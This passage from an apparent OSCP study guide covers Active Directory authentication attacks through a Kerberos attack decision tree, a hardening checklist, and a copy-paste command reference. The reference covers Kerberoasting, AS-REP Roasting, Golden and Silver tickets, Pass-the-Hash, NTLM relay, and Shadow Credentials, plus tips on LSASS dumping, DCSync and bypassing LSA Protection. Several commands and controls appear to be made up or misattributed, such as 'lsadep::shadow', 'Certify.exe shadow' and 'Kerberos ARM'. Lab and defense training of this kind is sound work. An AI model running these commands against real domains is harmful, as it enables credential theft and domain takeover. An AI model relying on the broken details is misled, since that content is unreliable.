| CA Configuration | HTTP Certificate Enrollment | Disabled if not needed | ESC6, ESC8 web enrollment attacks |
| CA Configuration | NTLM authentication for enrollment | Disable; require Kerberos | NTLM relay to CA |
OSCP Exam Relevance Notes
- The most impactful single setting is disabling RC4 encryption types — it eliminates the fastest Kerberoasting and AS-REP Roasting vectors.
- SMB signing is the #1 defense against NTLM relay. Always check if it’s enabled (
requiresecuritysignature=1in smb.conf equivalent). - WDigest disabled prevents plaintext password recovery from LSASS — a common OSCP pivot technique.
- LSA Protection (RunAsPPL) blocks Mimikatz injection — know how to bypass it (DLL sideloading, debug port) for advanced scenarios.
10.9 Kerberos Attack Decision Tree
Expanded decision tree for selecting the right Kerberos attack based on your current access level and available information.
graph TD
START(["Start: What do you have?"])
%% No credentials path
START -->|No credentials| NO_CRED["No Credentials Path"]
NO_CRED --> ASREP_ENUM["Enumerate accounts with<br/>pre-auth disabled"]
ASREP_ENUM --> ASREP_CHECK{"Any accounts<br/>found?"}
ASREP_CHECK -->|Yes| ASREP_ATTACK["AS-REP Roasting<br/>Rubeus / GetNPUsers.py<br/>Hashcat -m 18200"]
ASREP_CHECK -->|No| RESPOND["Responder / LLMNR Poisoning<br/>ntlmrelayx.py"]
ASREP_ATTACK --> ASREP_CRACK{"Password<br/>cracked?"}
ASREP_CRACK -->|Yes| GOT_USER["Domain User Credentials"]
ASREP_CRACK -->|No| WORDLIST["Try larger wordlists / rules"]
WORDLIST --> ASREP_CRACK
RESPOND --> RESPOND_CATCH{"Hash captured?"}
RESPOND_CATCH -->|Yes| GOT_HASH["NTLM Hash"]
RESPOND_CATCH -->|No| ENUM_NET["Network enumeration<br/>nmap / enum4linux"]
%% Domain user path
START -->|Domain user credentials| USER_CRED["Domain User Path"]
USER_CRED --> KERB_ENUM["Kerberoasting<br/>Rubeus kerberoast /stats"]
KERB_ENUM --> KERB_CHECK{"Any SPNs<br/>found?"}
KERB_CHECK -->|Yes| KERB_ATTACK["Request TGS tickets<br/>Rubeus / GetUserSPNs.py<br/>Hashcat -m 13100"]
KERB_CHECK -->|No| ENUM_MORE["Enumerate further"]
KERB_ATTACK --> KERB_CRACK{"Password<br/>cracked?"}
KERB_CRACK -->|Yes| SVC_CRED["Service Account Credentials"]
KERB_CRACK -->|No| ENUM_MORE
USER_CRED --> ASREP_USER["AS-REP Roasting<br/>(also check as user)"]
USER_CRED --> DELG_ENUM["Enumerate Delegation<br/>Get-NetComputer -Unconstrained<br/>Get-NetUser -TrustedToAuth"]
DELG_ENUM --> DELG_TYPE{"Delegation<br/>type?"}
DELG_TYPE -->|Unconstrained| UNCONST["Unconstrained Delegation<br/>Force DA auth → Dump LSASS<br/>sekurlsa::tickets /export"]
DELG_TYPE -->|Constrained| CONST["Constrained Delegation<br/>S4U2Self + S4U2Proxy<br/>Rubeus s4u / Mimikatz"]
DELG_TYPE -->|Resource-Based| RBCD_PATH["RBCD Attack<br/>Create computer → Set RBCD<br/>→ S4U2Proxy to target"]
DELG_TYPE -->|None| ENUM_MORE
USER_CRED --> ADCS_CHECK["Check AD CS / ESC<br/>Certify find /vulnscan"]
ADCS_CHECK --> ADCS_FOUND{"Vulnerable<br/>template?"}
ADCS_FOUND -->|Yes| ESC_ATTACK["ESC Attack<br/>Certify / pkinit.py<br/>Request forged certificate"]
ADCS_FOUND -->|No| ENUM_MORE
USER_CRED --> SHADOW_CHECK["Check Shadow Credentials<br/>WriteProperty on computer accounts"]
SHADOW_CHECK --> SHADOW_FOUND{"WriteProperty<br/>access?"}
SHADOW_FOUND -->|Yes| SHADOW_ATTACK["Shadow Credentials<br/>Mimikatz lsadep::shadow<br/>Authenticate with private key"]
SHADOW_FOUND -->|No| ENUM_MORE
USER_CRED --> CME_ENUM["CrackMapExec Enumeration<br/>cme smb <target> -u user -p pass<br/>enum departments groups"]
%% Service account hash path
START -->|Service account NTLM hash| SVC_HASH["Service Hash Path"]
SVC_HASH --> SILVER_PATH["Silver Ticket<br/>Mimikatz kerberos::golden<br/>/service:<svc> /target:<host>"]
SVC_HASH --> S4U_PATH["S4U2Self / S4U2Proxy<br/>If constrained delegation enabled<br/>Rubeus s4u"]
%% krbtgt hash path
START -->|krbtgt NTLM hash| KRBTGT["krbtgt Hash Path"]
KRBTGT --> GOLD_PATH["Gold Ticket<br/>Mimikatz kerberos::golden<br/>/user:Administrator /krbtgt"]
KRBTGT --> PAC_PATH["PAC Binding Attack<br/>Mimikatz PAC manipulation"]
%% NTLM hash path
START -->|NTLM hash (any account)| NTLM["NTLM Hash Path"]
NTLM --> PTH_PATH["Pass-the-Hash<br/>Impacket psexec.py -hashes<br/>CrackMapExec"]
NTLM --> OTPH_PATH["Overpass-the-Hash<br/>Mimikatz kerberos::ask<br/>→ kerberos::ptt"]
NTLM --> RELAY_PATH["NTLM Relay<br/>ntlmrelayx.py<br/>Responder for capture"]
%% Convergence
GOT_USER --> USER_CRED
GOT_HASH --> NTLM
SVC_CRED --> NTLM
ESC_ATTACK --> ESC_RESULT["Domain Compromise"]
SHADOW_ATTACK --> SHADOW_RESULT["Target Account Compromise"]
GOLD_PATH --> GOLD_RESULT["Full Domain Compromise"]
UNCONST --> UNCONST_RESULT["Admin TGT Captured"]
CONST --> CONST_RESULT["Target Service Access"]
RBCD_PATH --> RBCD_RESULT["Target Machine Compromise"]
SILVER_PATH --> SILVER_RESULT["Target Service Access"]
PTH_PATH --> PTH_RESULT["Target Machine Access"]
%% Styling
classDef attack fill:#ff6b6b,color:#fff,stroke:#c0392b
classDef result fill:#27ae60,color:#fff,stroke:#27ae60
classDef decision fill:#f39c12,color:#fff,stroke:#e67e22
classDef startend fill:#2c3e50,color:#fff,stroke:#2c3e50
class START startend
class ASREP_CHECK,KERB_CHECK,DELG_TYPE,ADCS_FOUND,SHADOW_FOUND,ASREP_CRACK,KERB_CRACK,RESPOND_CATCH decision
class ESC_RESULT,GOLD_RESULT,GOT_USER,GOT_HASH,SVC_CRED result
Decision Tree Quick Reference
| Your Starting Point | First Attack to Try | Second Attack | If All Else Fails |
|---|---|---|---|
| No credentials | AS-REP Roasting | Responder + NTLM Relay | Network enumeration, service exploitation |
| Domain user | Kerberoasting | AS-REP Roasting | Delegation enumeration, AD CS check |
| Service account hash | Silver Ticket | S4U (if delegation enabled) | Pass-the-Hash to service host |
| krbtgt hash | Gold Ticket | PAC Binding Attack | Full domain compromise achieved |
| NTLM hash | Pass-the-Hash | Overpass-the-Hash | NTLM Relay (if positioned) |
| WriteProperty on account | Shadow Credentials | UAC flag manipulation | ACL-based attacks |
10.10 Complete Mitigation Checklist
Comprehensive mitigation checklist organized by attack category. Use this for defense assessments and hardening recommendations.
Kerberos Attack Mitigations
| # | Control | Implementation | Defends Against | Priority |
|---|---|---|---|---|
| 1 | Enable Kerberos pre-authentication for all accounts | Set-ADUser -Identity <user> -Replace @{dontReqPreAuth=$false}; audit with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
AS-REP Roasting | Critical |
| 2 | Disable RC4 encryption type | GPO: Network security: Configure encryption types allowed for Kerberos → AES128_HMAC_SHA1, AES256_HMAC_SHA1 only |
Kerberoasting (RC4), AS-REP Roasting (RC4) | Critical |
| 3 | Use gMSA for all service accounts | New-ADServiceAccount -Name <name> -DNSHostName <fqdn>; assign to servers via GPO |
Kerberoasting (gMSA passwords are 120 chars, auto-rotated) | Critical |
| 4 | Rotate krbtgt password TWICE after any compromise | Set-ADAccountPassword krbtgt -Reset -NewPassword (ConvertTo-SecureString 'ComplexPass!' -AsPlainText -Force); repeat after 10+ hours |
Gold Ticket (invalidates existing forged TGTs) | Critical |
| 5 | Implement tiered administration model | Separate Tier 0 (DCs), Tier 1 (servers), Tier 2 (workstations); never cross-tier admin | Gold Ticket, Silver Ticket, delegation abuse | High |
| 6 | Enable Kerberos ARM (Account Restriction Mode) | Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters\ARMEnabled = 1 |
PAC manipulation, SID history injection | High |
| 7 | Set short ticket lifetimes | GPO: Kerberos Policy → Max ticket lifetime = 6 hours, Max renewal = 7 days | Ticket lifetime abuse, long-lived forged tickets | Medium |
| 8 | Monitor Kerberos Event IDs | SIEM alerts on 4768, 4769, 4771, 4776; alert on etype 23 requests, mass TGS requests | All Kerberos attacks (detection) | High |
| 9 | Remove unnecessary SPNs | Audit with Get-ADUser -Filter {servicePrincipalName -ne "$null"}; remove orphaned SPNs |
Kerberoasting attack surface reduction | Medium |
| 10 | Force AES encryption for new accounts | Domain default: set encryption types via GPO; verify new accounts support AES | RC4-based attacks on new accounts | Medium |
NTLM Attack Mitigations
| # | Control | Implementation | Defends Against | Priority |
|---|---|---|---|---|
| 1 | Disable NTLM where Kerberos is available | GPO: Network security: Restrict NTLM → Deny all accounts (with targeted exceptions) |
Pass-the-Hash, NTLM Relay, NetNTLMv2 | Critical |
| 2 | Enable SMB Signing on all servers | GPO: Microsoft network server: Digitally sign communications (always) = Enabled |
NTLM Relay over SMB, SMB relay attacks | Critical |
| 3 | Enable LDAP Signing and Channel Binding | GPO: LDAP client: Require channel binding when possible = Enabled; LDAP server: Signing level = Require |
LDAP relay attacks | High |
| 4 | Disable LLMNR and NBT-NS | GPO: Turn off multicast name resolution = Enabled; disable NetBIOS over TCP/IP in NIC settings |
LLMNR poisoning, NBT-NS poisoning, Responder attacks | Critical |
| 5 | Implement NTLM audit policies | GPO: Restrict NTLM: Audit NTLM authentication on this machine = All accounts |
NTLM usage tracking, relay detection | High |
| 6 | Block NTLM authentication to Domain Controllers | GPO: Restrict NTLM: Outbound NTLM authentication → Add all DCs to deny list |
NTLM auth to DCs (should use Kerberos) | High |
| 7 | Enable SMB Signing on workstations | GPO: Microsoft network client: Digitally sign communications (always) = Enabled |
SMB relay from workstations | Medium |
Credential Protection Mitigations
| # | Control | Implementation | Defends Against | Priority |
|---|---|---|---|---|
| 1 | Enable LSA Protection (RunAsPPL) | GPO: Run as PPL for LSA = Enabled; or Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1 |
Mimikatz injection, LSASS credential dumping | Critical |
| 2 | Enable Credential Guard | GPO: Virtual-based Security Mode Configuration = Enabled with UEFI; requires virtualization-based security |
All LSASS-based credential theft (Mimikatz, procdump) | Critical |
| 3 | Implement LAPS for local admin passwords | Install LAPS GP extension; GPO: Configure password settings → 48+ char, 30-day rotation |
Local admin password reuse, Pass-the-Hash lateral movement | Critical |
| 4 | Restrict LSASS access | GPO: Restrict secinit.exe = Enabled; SACL on LSASS process object |
LSASS dumping, credential extraction | High |
| 5 | Disable WDigest | Registry: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0 |
Plaintext password in LSASS memory | Critical |
| 6 | Implement Privileged Access Workstations (PAWs) | Dedicated hardened VMs/physical machines for admin tasks; no browsing, no email | Credential theft from admin workstations | High |
| 7 | Disable Windows Remote Management for unprivileged users | GPO: WinRM → Allow unencrypted = Disabled; restrict to authorized users | WinRM-based credential attacks | Medium |
Delegation Attack Mitigations
| # | Control | Implementation | Defends Against | Priority |
|---|---|---|---|---|
| 1 | Disable unconstrained delegation unless absolutely necessary | Set-ADComputer -Identity <comp> -Replace @{userAccountControl=...}; remove TRUSTED_FOR_DELEGATION flag |
Unconstrained Delegation abuse | Critical |
| 2 | Use constrained delegation instead of unconstrained | Configure msDS-AllowedToDelegateTo with specific SPNs only |
Unconstrained Delegation (reduction to constrained) | High |
| 3 | Use Resource-Based Constrained Delegation | Configure msDS-AllowedToActOnBehalfOfOtherIdentity on target; restrict who can modify |
RBCD abuse (when properly ACL-protected) | High |
| 4 | Restrict computer account creation | GPO: Computer Browser: Maximum number of computer names → reduce from 10; ACL on OU to restrict CreateChild |
RBCD (attacker-created computer accounts) | High |
| 5 | Audit delegation configurations regularly | Script: Get-ADComputer -Filter {userAccountControl -band 0x00080000}; Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} |
All delegation attacks (detection) | Medium |
| 6 | Restrict who can modify delegation attributes | ACL: Remove WriteProperty on msDS-AllowedToDelegateTo and msDS-AllowedToActOnBehalfOfOtherIdentity for non-admins |
RBCD, constrained delegation manipulation | High |
AD CS / Certificate Attack Mitigations
| # | Control | Implementation | Defends Against | Priority |
|---|---|---|---|---|
| 1 | Audit all certificate templates | Run Certify.exe find /vulnscan regularly; review all enabled templates |
ESC1-ESC8 misconfigurations | Critical |
| 2 | Remove ENROLLEE_SUPPLIES_SUBJECT from non-admin templates | Certificate Template Manager → Properties → Subject Name → “Computed by CA” | ESC2 (subject field manipulation) | Critical |
| 3 | Restrict enrollment rights | Remove Authenticated Users enrollment on sensitive templates; use specific security groups |
ESC1 (any-user enrollment) | Critical |
| 4 | Require manager approval for sensitive templates | Certificate Template Manager → Issuance Requirements → “Require manager approval” | ESC1, ESC2 (unauthorized certificate issuance) | High |
| 5 | Disable HTTP Certificate Enrollment if not needed | IIS Manager → Remove certsrv virtual directory; or disable Web Enrollment on CA |
ESC6, ESC8 (web enrollment attacks) | High |
| 6 | Restrict who can modify certificate templates | ACL on template objects: only Enterprise Admins can modify | ESC5 (template modification) | High |
| 7 | Monitor for ESC misconfigurations | Automated scanning with Certify; SIEM alerts on certificate issuance events | All ESC attacks (detection) | Medium |
| 8 | Disable EDP (Enrollment Agent Controls) abuse | Configure msPKI-Enrollment-Flag to require EA controls; restrict Certificate Templates property |
ESC7, ESC10 (EA abuse) | Medium |
Shadow Credentials Mitigations
| # | Control | Implementation | Defends Against | Priority |
|---|---|---|---|---|
| 1 | Restrict WriteProperty on computer accounts | ACL: Remove WriteProperty for Authenticated Users on computer objects; restrict to admins only |
Shadow Credentials, RBCD | Critical |
| 2 | Monitor msDS-KeyCredentialLink changes | SIEM alert on Event 5136 with attribute msDS-KeyCredentialLink |
Shadow Credentials (detection) | High |
| 3 | Audit key credential link modifications | Script: Get-ADComputer -Filter * -Properties msDS-KeyCredentialLink | Where {$_.msDS-KeyCredentialLink} |
Shadow Credentials (detection) | Medium |
General AD Hardening
| # | Control | Implementation | Defends Against | Priority |
|---|---|---|---|---|
| 1 | Implement least-privilege access model | Regular ACL audits; remove excessive permissions; use just-enough-administration (JEA) | All privilege escalation attacks | Critical |
| 2 | Enable Advanced Audit Policy | GPO: Audit Policy → Enable Kerberos, Account Logon, Directory Service Access, Object Access | All attacks (comprehensive detection) | Critical |
| 3 | Deploy SIEM with AD-specific rules | Splunk/ELK/Sentinel with AD monitoring dashboards; Sigma rules for AD attacks | All attacks (centralized detection) | High |
| 4 | Regular AD health assessments | Monthly: dcdiag, repadmin, ACL audits, delegation reviews, template audits |
All attacks (proactive defense) | High |
| 5 | Network segmentation | Isolate DCs in separate VLAN; restrict access to AD ports (88, 389, 445, 636) | Network-based attacks, NTLM relay | High |
| 6 | Disable unused protocols | Disable SMBv1, LDAP signing exceptions, unencrypted RPC | Legacy protocol attacks | Medium |
10.11 Attack Command Quick Reference
Frequently-used commands organized by attack type. Copy-paste ready for lab practice.
Kerberoasting
# Rubeus - enumerate and extract
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /outfile:tickets.kerberoast
Rubeus.exe kerberoast /spn:MSSQLSvc/sql.domain.com:1433 /outfile:sql_ticket.hash
# Impacket - enumerate and extract
python3 GetUserSPNs.py domain.com/user:password -request -dc-ip 10.10.10.10
python3 GetUserSPNs.py domain.com/user:password -request-from SPN -dc-ip 10.10.10.10
# Hashcat - crack
hashcat -m 13100 -O tickets.kerberoast rockyou.txt
hashcat -m 19600 tickets.kerberoast rockyou.txt
AS-REP Roasting
# Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.hashcat
Rubeus.exe asreproast /format:john /outfile:asreproast.john
# Impacket
python3 GetNPUsers.py domain.com/ -usersfile targets.txt -format hashcat -outputfile asreproast.hash
python3 GetNPUsers.py domain.com/targetuser -no-pass -format hashcat
# Kerbrute
kerbrute asreproast -d domain.com -users usernames.txt -o asreproast_output.txt
# Hashcat - crack
hashcat -m 18200 -O asreproast.hashcat rockyou.txt
Silver Ticket
# Mimikatz
kerberos::golden /sid:S-1-5-21-xxx-xxx-xxx /rc4:<service_hash> /target:<hostname> /service:<service> /user:<attacker> /domain:<domain> /ptt
# Rubeus
Rubeus.exe tgs /rc4:<service_hash> /service:cifs /target:fileserver.domain.com /domain:domain.com /user:attacker /ptt
Gold Ticket
# Mimikatz
kerberos::golden /user:Administrator /sid:S-1-5-21-xxx-xxx-xxx /rc4:<krbtgt_hash> /krbtgt /domain:domain.com /id:500 /groups:512,513,518,519,520,521,526 /startoffset:0 /endin:600 /renewmax:10080 /ptt
# Rubeus
Rubeus.exe golden /user:Administrator /rc4:<krbtgt_hash> /sid:<domain_sid> /domain:domain.com /ptt
Pass-the-Hash
# Impacket
python3 psexec.py -hashes :<ntlm_hash> domain.com/user@target.ip
# CrackMapExec
crackmapexec smb target.ip -u user -H <ntlm_hash>
crackmapexec smb target.ip -u user -H <ntlm_hash> -x 'whoami'
NTLM Relay
# Responder (capture)
python3 Responder.py -I eth0 -w -r -P
# ntlmrelayx (relay)
python3 ntlmrelayx.py -t smb://target.ip --no-http-ssl -smb2support
python3 ntlmrelayx.py -t ldap://dc.ip -escalate-user <user>
Delegation Enumeration
# Unconstrained delegation
Get-NetComputer -Unconstrained
Get-ADComputer -Filter 'userAccountControl -band 524288'
# Constrained delegation
Get-NetUser -TrustedToAuth
Get-NetComputer -TrustedToAuth
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# RBCD
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_.msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null }
Shadow Credentials
# Mimikatz - create shadow credential
lsadep::shadow /create /nuser:TARGETPC$ /domain:domain.com
# Mimikatz - authenticate with shadow credential
lsadep::shadow /connect:targetpc.domain.com /nuser:TARGETPC$
# Certify
Certify.exe shadow /nuser:TARGETPC$
10.12 OSCP Exam Quick Tips
Priority Order for AD Authentication Attacks
When you gain domain access on an OSCP box, follow this order:
- AS-REP Roasting (no creds needed) →
GetNPUsers.py -no-pass - Kerberoasting (any domain user) →
Rubeus kerberoast /stats - Check for delegation →
Get-NetComputer -Unconstrained - Check for AD CS →
Certify find /vulnscan - Check for Shadow Credentials → Look for WriteProperty on computer accounts
- LSASS dumping (if local admin) →
sekurlsa::logonpasswords - DCSync (if DA or DCSync rights) →
dcsync /user:krbtgt
Common OSCP Pitfalls
| Pitfall | Solution |
|---|---|
| Forgetting to crack Kerberoast hashes with the correct mode | Check the hash prefix: $krb5tgs$23$ → mode 13100, $krb5tgs$17/18$ → mode 19600 |
| Using Pass-the-Hash against Kerberos-only services | Use Overpass-the-Hash or Pass-the-Ticket instead |
| Not checking both RC4 and AES Kerberoast hashes | Run both hashcat -m 13100 and hashcat -m 19600 |
Forgetting the /ptt flag in Mimikatz |
Always add /ptt to inject the ticket into the current session |
| Silver Ticket vs Gold Ticket confusion | Silver = service account hash (one service); Gold = krbtgt hash (all services) |
| Not rotating krbtgt twice after Gold Ticket detection | First rotation invalidates old tickets after old TGT lifetime; second rotation clears the old krbtgt hash from all TGTs |
Essential Tools to Have Ready
| Tool | Purpose | Platform |
|---|---|---|
| Rubeus | Kerberos enumeration, ticket extraction, Kerberoasting, AS-REP Roasting, S4U | Windows (.exe) |
| Mimikatz | Credential dumping, ticket forging (Gold/Silver), Pass-the-Hash, Shadow Credentials | Windows/Linux |
| Impacket | GetUserSPNs.py, GetNPUsers.py, psexec.py, getST.py, rbcd.py, addcomputer.py | Linux/Python |
| Hashcat | Hash cracking (all AD hash modes) | Linux/Windows |
| CrackMapExec | SMB enumeration, Pass-the-Hash, service exploitation | Linux/Python |
| Certify | AD CS enumeration, ESC vulnerability detection, Shadow Credentials | Windows (.exe) |
| Kerbrute | Kerberos brute force, AS-REP Roasting | Linux/Windows |
| Responder | LLMNR/NBT-NS poisoning, NTLM capture | Linux/Python |
| PowerView | AD enumeration, delegation discovery, SPN listing | Windows (PowerShell) |
This quick reference chapter consolidates all essential tables, decision trees, and checklists for Active Directory authentication attacks. Keep this handy during OSCP lab practice and exam. Each table is designed for quick lookup — use the OSCP Exam Relevance notes to prioritize your study focus.